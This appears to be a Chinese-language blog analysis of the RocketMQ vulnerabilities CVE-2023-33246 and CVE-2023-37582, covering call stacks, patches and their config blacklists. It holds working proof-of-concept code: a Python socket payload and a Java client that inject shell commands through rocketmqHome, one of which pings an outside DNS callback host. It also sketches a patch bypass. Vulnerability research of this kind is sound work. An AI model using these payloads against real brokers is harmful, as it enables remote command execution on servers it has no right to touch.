RocketMQ CVE-2023-33246/CVE-2023-37582 漏洞分析

0x01 CVE-2023-33246

漏洞描述
RocketMQ 5.1.0及以下版本，在一定条件下，存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露，缺乏权限验证，攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外，攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本
5.0.0 <= Apache RocketMQ < 5.1.1
4.0.0 <= Apache RocketMQ < 4.9.6

1.1 环境搭建

1
2
3
4
5
6
7
8
9
vim bin/runserver.sh
# 增加DEBUG JAVA OPT
JAVA_OPT="${JAVA_OPT} -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=n"
vim bin/runbroker.sh
# 增加DEBUG JAVA OPT
JAVA_OPT="${JAVA_OPT} -Xdebug -Xrunjdwp:transport=dt_socket,address=5006,server=y,suspend=n"

./mqbroker -n 127.0.0.1:9876
./mqnamesrv

1.2 POC复现

1.2.1 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
import binascii
client = socket.socket()
client.connect(('127.0.0.1',10911))
# data
json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
cmd = "-c $@| sh . echo echo 'touch /tmp/success_rocketmq' | bash -i"
body=f'filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome={cmd}'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

1.2.2 疑问POC

参考【1】中的POC，执行总是会报错connect to 127.0.0.1:10911 failed，Google反馈的大都是配置broker，但是实际测试仍然报错。

TODO: 分析原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.util.Base64;
import java.util.Properties;
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

public class POC {
    private static String getCmd(String cmd) {
        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
    }

    public static void main(String[] args) throws Exception {
        String targetAddr = "127.0.0.1:10911";
        Properties props = new Properties();
        props.setProperty("rocketmqHome", getCmd("ping -c1 r.1.dns.m0d9.me"));
        props.setProperty("filterServerNums", "1");
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        admin.setNamesrvAddr("127.0.0.1:9876");
        admin.start();
        admin.updateBrokerConfig(targetAddr, props);
        Properties brokerConfig = admin.getBrokerConfig(targetAddr);
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        admin.shutdown();
    }
}

1.3 漏洞分析

总共涉及到3个线程

  1. netty server到 NettyRequestProcessor#processRequest(ChannelHandlerContext ctx, RemotingCommand cmd)，其中cmd是网络传输Decode 所得
  2. AdminBrokerProcessor更新brokerController.brokerConfig，其中有个属性rocketmqHome
  3. 有个周期线程FilterServerManager，会用到rocketmqHome 拼接成命令

具体如下

1.3.1 Netty -> NettyRequestProcessor

调用栈如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
processRequestCommand:261, NettyRemotingAbstract (org.apache.rocketmq.remoting.netty)
processMessageReceived:169, NettyRemotingAbstract (org.apache.rocketmq.remoting.netty)
channelRead0:540, NettyRemotingServer$NettyServerHandler (org.apache.rocketmq.remoting.netty)
channelRead0:532, NettyRemotingServer$NettyServerHandler (org.apache.rocketmq.remoting.netty)
channelRead:99, SimpleChannelInboundHandler (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:286, IdleStateHandler (io.netty.handler.timeout)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:57, RemotingCodeDistributionHandler (org.apache.rocketmq.remoting.netty)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:324, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:296, ByteToMessageDecoder (io.netty.handler.codec)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead0:528, NettyRemotingServer$HandshakeHandler (org.apache.rocketmq.remoting.netty)
channelRead0:475, NettyRemotingServer$HandshakeHandler (org.apache.rocketmq.remoting.netty)
channelRead:99, SimpleChannelInboundHandler (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
access$600:61, AbstractChannelHandlerContext (io.netty.channel)
run:370, AbstractChannelHandlerContext$7 (io.netty.channel)
run:66, DefaultEventExecutor (io.netty.util.concurrent)
run:989, SingleThreadEventExecutor$4 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:833, Thread (java.lang)

其逻辑如下

1. NettyServerHandler

NettyServerServer#NettyServerHandler 继承了Netty SimpleChannelInboundHandler 接口
1
2
3
4
5
6
7
8
9
10
11
12
13
public class NettyServerHandler extends SimpleChannelInboundHandler<RemotingCommand> {

    @Override
    protected void channelRead0(ChannelHandlerContext ctx, RemotingCommand msg) {
        int localPort = RemotingHelper.parseSocketAddressPort(ctx.channel().localAddress());
        NettyRemotingAbstract remotingAbstract = NettyRemotingServer.this.remotingServerTable.get(localPort);
        if (localPort != -1 && remotingAbstract != null) {
            remotingAbstract.processMessageReceived(ctx, msg);
            return;
        }
        // The related remoting server has been shutdown, so close the connected channel
        RemotingHelper.closeChannel(ctx.channel());
    }

具体逻辑在NettyRemotingAbstract.pprocessMessageReceived，NettyRemotingAbstract 有4个实现类

  • NettyRemotingClient

  • NettyRemotingServer

  • MultiProtocolRemotingServer，也是继承的NettyRemotingServer

  • NettyRemotingServer#SubRemotingServer

    Tip: 泛型RemotingCommand 是如何实现的？具体实现是NettyDecoder

    NettyRemotingServer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    protected ChannelPipeline configChannel(SocketChannel ch) {
        return ch.pipeline()
            .addLast(defaultEventExecutorGroup, HANDSHAKE_HANDLER_NAME, handshakeHandler)
            .addLast(defaultEventExecutorGroup,
                encoder,
                new NettyDecoder(),
                distributionHandler,
                new IdleStateHandler(0, 0,
                    nettyServerConfig.getServerChannelMaxIdleTimeSeconds()),
                connectionManageHandler,
                serverHandler
            );

    NettyDecoder

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    @Override
    public Object decode(ChannelHandlerContext ctx, ByteBuf in) throws Exception {
        ByteBuf frame = null;
        Stopwatch timer = Stopwatch.createStarted();
        try {
            frame = (ByteBuf) super.decode(ctx, in);
            if (null == frame) {
                return null;
            }
            RemotingCommand cmd = RemotingCommand.decode(frame);
            cmd.setProcessTimer(timer);
            return cmd;
        } catch (Exception e) {
            log.error("decode exception, " + RemotingHelper.parseChannelRemoteAddr(ctx.channel()), e);
            RemotingHelper.closeChannel(ctx.channel());
        } finally {
            if (null != frame) {
                frame.release();
            }
        }

        return null;
    }

    2. NettyRemotingAbstract#processMessageReceived，逻辑如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public void processMessageReceived(ChannelHandlerContext ctx, RemotingCommand msg) {
        if (msg != null) {
            switch (msg.getType()) {
                case REQUEST_COMMAND:
                    processRequestCommand(ctx, msg);
                    break;
                case RESPONSE_COMMAND:
                    processResponseCommand(ctx, msg);
                    break;
                default:
                    break;
            }
        }
    }

    3. processRequestCommand

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
      public void processRequestCommand(final ChannelHandlerContext ctx, final RemotingCommand cmd) {
          final Pair<NettyRequestProcessor, ExecutorService> matched = this.processorTable.get(cmd.getCode());
          final Pair<NettyRequestProcessor, ExecutorService> pair = null == matched ? this.defaultRequestProcessorPair : matched;
          final int opaque = cmd.getOpaque();
    ...
          Runnable run = buildProcessRequestHandler(ctx, cmd, pair, opaque);
    ...
          try {
              final RequestTask requestTask = new RequestTask(run, ctx.channel(), cmd);
              //async execute task, current thread return directly
              pair.getObject2().submit(requestTask);
    • 最终调用ExecutorService.submit(requestTask) 实现进程派生

4. RequestTask#run

1
2
3
4
5
6
7
8
9
public RequestTask(final Runnable runnable, final Channel channel, final RemotingCommand request) {
    this.runnable = runnable;
    this.channel = channel;
    this.request = request;
}
public void run() {
    if (!this.stopRun)
        this.runnable.run();
}
- 所以逻辑是在buildProcessRequestHandler 内

5. NettyRemotingAbstract#buildProcessRequestHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Runnable buildProcessRequestHandler(ChannelHandlerContext ctx, RemotingCommand cmd,
    Pair<NettyRequestProcessor, ExecutorService> pair, int opaque) {
    return () -> {
        Exception exception = null;
        RemotingCommand response;

        try {
        	...
            if (exception == null) {
                response = pair.getObject1().processRequest(ctx, cmd);
            } else {
...
        }
    };
}
- 具体逻辑在NettyRequestProcessor#processRequest

6. NettyRequestProcessor#processRequest

NettyRequestProcessor有很多实现

  • AdminBrokerProcessor
  • AbstractSendMessageProcessor
  • AckMessageProcessor
  • AdminBrokerProcessor
  • ChangeInvisibleTimeProcessor
  • …

1.3.2 AdminBrokerProcessor更新brokerController.brokerConfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
setRocketmqHome:776, BrokerConfig (org.apache.rocketmq.common)
invokeVirtual:-1, DirectMethodHandle$Holder (java.lang.invoke)
invoke:-1, LambdaForm$MH/0x0000000800c80c00 (java.lang.invoke)
invokeExact_MT:-1, Invokers$Holder (java.lang.invoke)
invokeImpl:155, DirectMethodHandleAccessor (jdk.internal.reflect)
invoke:104, DirectMethodHandleAccessor (jdk.internal.reflect)
invoke:577, Method (java.lang.reflect)
properties2Object:378, MixAll (org.apache.rocketmq.common)
update:189, Configuration (org.apache.rocketmq.remoting)
updateBrokerConfig:778, AdminBrokerProcessor (org.apache.rocketmq.broker.processor)
processRequest:216, AdminBrokerProcessor (org.apache.rocketmq.broker.processor)
lambda$buildProcessRequestHandler$1:312, NettyRemotingAbstract (org.apache.rocketmq.remoting.netty)
run:-1, NettyRemotingAbstract$$Lambda$218/0x0000000800fbbcb8 (org.apache.rocketmq.remoting.netty)
run:80, RequestTask (org.apache.rocketmq.remoting.netty)
call:539, Executors$RunnableAdapter (java.util.concurrent)
run:264, FutureTask (java.util.concurrent)
runWorker:1136, ThreadPoolExecutor (java.util.concurrent)
run:635, ThreadPoolExecutor$Worker (java.util.concurrent)
run:833, Thread (java.lang)

upload successful

Invoke

注意这里的invoke MixAll

  • properties2Object

实际上，也就这些属性能被update

upload successful

1.3.3 周期任务FilterServerManager

1
2
3
4
5
6
7
8
9
10
callShell:25, FilterServerUtil (org.apache.rocketmq.broker.filtersrv)
createFilterServer:74, FilterServerManager (org.apache.rocketmq.broker.filtersrv)
run0:61, FilterServerManager$1 (org.apache.rocketmq.broker.filtersrv)
run:43, AbstractBrokerRunnable (org.apache.rocketmq.common)
call:539, Executors$RunnableAdapter (java.util.concurrent)
runAndReset:305, FutureTask (java.util.concurrent)
run:305, ScheduledThreadPoolExecutor$ScheduledFutureTask (java.util.concurrent)
runWorker:1136, ThreadPoolExecutor (java.util.concurrent)
run:635, ThreadPoolExecutor$Worker (java.util.concurrent)
run:833, Thread (java.lang)

注意FilterServerManager 的构造函数BrokerController 有final修饰

1
2
3
public FilterServerManager(final BrokerController brokerController) {
    this.brokerController = brokerController;
}

BrokerController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
   public BrokerController(
       final BrokerConfig brokerConfig,
       final NettyServerConfig nettyServerConfig,
       final NettyClientConfig nettyClientConfig,
       final MessageStoreConfig messageStoreConfig
   ) {
           this.filterServerManager = new FilterServerManager(this);

   public boolean initialize() throws CloneNotSupportedException {
   	...
           registerProcessor();
       ...
}

   public void registerProcessor() {
	...
       AdminBrokerProcessor adminProcessor = new AdminBrokerProcessor(this);
	...
   }

BrokerStartup

1
2
3
4
public static BrokerController createBrokerController(String[] args) {
    try {
        BrokerController controller = buildBrokerController(args);
        boolean initResult = controller.initialize();

大致的工作流程：

1
2
3
4
5
6
7
8
9
10
BrokerStartup
	BrokerController
    	NettyRemotingServer
        	NettyServerHandler#channelRead0
            	NettyRemotingAbstract#processMessageReceived
                	NettyRemotingAbstract#processRequestCommand
                    	NettyRemotingAbstract#buildProcessRequestHandler
                        	AdminBrokerProcessor#processRequest
                           	 AdminBrokerProcessor#updateBrokerConfig  	
        NettyRemotingClient

0x02 CVE-2023-37582

2.1 POC

参考【4】

2.2 漏洞分析

和命令执行类似，不过只有两层

  1. 第一层一样
  2. 第二层用的DefaultRequestProcessor，其UPDATE_NAMESRV_CONFIG 功能updateConfig 可以修改配置文件，其中文件名和文件内容都可自定义

2.2.1 Netty Server -> NettyRequestProcessor

与RCE漏洞类似

2.2.2 UPDATE_NAMESRV_CONFIG

调用栈如下

1
2
3
4
5
6
7
8
9
10
11
update:202, Configuration (org.apache.rocketmq.remoting)
updateConfig:630, DefaultRequestProcessor (org.apache.rocketmq.namesrv.processor)
processRequest:132, DefaultRequestProcessor (org.apache.rocketmq.namesrv.processor)
lambda$buildProcessRequestHandler$1:312, NettyRemotingAbstract (org.apache.rocketmq.remoting.netty)
run:-1, NettyRemotingAbstract$$Lambda$182/0x0000000800e5b580 (org.apache.rocketmq.remoting.netty)
run:80, RequestTask (org.apache.rocketmq.remoting.netty)
call:539, Executors$RunnableAdapter (java.util.concurrent)
run:264, FutureTask (java.util.concurrent)
runWorker:1136, ThreadPoolExecutor (java.util.concurrent)
run:635, ThreadPoolExecutor$Worker (java.util.concurrent)
run:833, Thread (java.lang)

其中 properties2Object 对Configuration#configObjectList 通过invoke方式进行覆盖，其中就有configStorePath，对应getStorePath的路径

1
2
3
4
for (Object configObject : configObjectList) {
    // not allConfigs to update...
    MixAll.properties2Object(properties, configObject);
}

Invoke

注意这里的invoke MixAll

  • properties2Object

实际上，也就这些属性能被update

upload successful

0x03 漏洞修复

3.1 patch1

https://github.com/apache/rocketmq/pull/6733/files

在NettyRequestProcessor 的实现类上新增了几个属性黑名单

  • broker.processor.AdminBrokerProcessor#brokerConfigPath
  • controller.processor.ControllerRequestProcessor#configStorePath
  • namesrv.processor.DefaultRequestProcessor#kvConfigPath
  • namesrv.processor.DefaultRequestProcessor#configStorePathName

upload successful
upload successful
upload successful

3.2 patch2

https://github.com/apache/rocketmq/pull/6749/files

最主要的，把FilterServerManager给删了，彻底没命令执行的Sink了
upload successful

3.3 patch3

在最新的代码中，不止在Processor 上引入了黑名单，在Config 上也引入了configblacklist

https://github.com/search?q=repo%3Aapache%2Frocketmq%20configblacklist&type=code

upload successful

这中间应该还发生了一些故事

0x04 拓展思考

还有哪些Config 可以被控制

AdminBrokerProcessor.java
upload successful
ControllerRequestProcessor.java
upload successful
DefaultRequestProcessor.java
upload successful
container.BrokerContainerProcessor.java
upload successful

可以看到，比patch1 中的过滤多了BrokerContainerProcessor

但是后续BrokerContainerProcessor 也增加了过滤https://github.com/apache/rocketmq/pull/7587/files

upload successful

4.1 Try Escape CVE-2023-37582

CVE-2023-33246 最终的sink 点整个被删了，没有操作空间
CVE-2023-37582 增加了以上的Patchs

核心逻辑有两个

  1. Processor 从Command 中获取属性，并更新Config
    • UpdateConfig 只是其中的一种Command
  2. Configure.update() 调用persist 进行文件写入，文件名和文件内容都在Config 中

1. BrokerContainerProcessor

以BrokerContainerProcessor 为例

upload successful

但是实际上，根源在update 中的properties2Object，而不只是update

upload successful

2. Bypass 及影响

Bypass 逻辑：
1.addBorker，此时没有受各种黑名单限制
2.updateBrokerConfig：此时只限制了从net 而来的属性，原来的属性不受影响

upload successful

0x05 参考

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true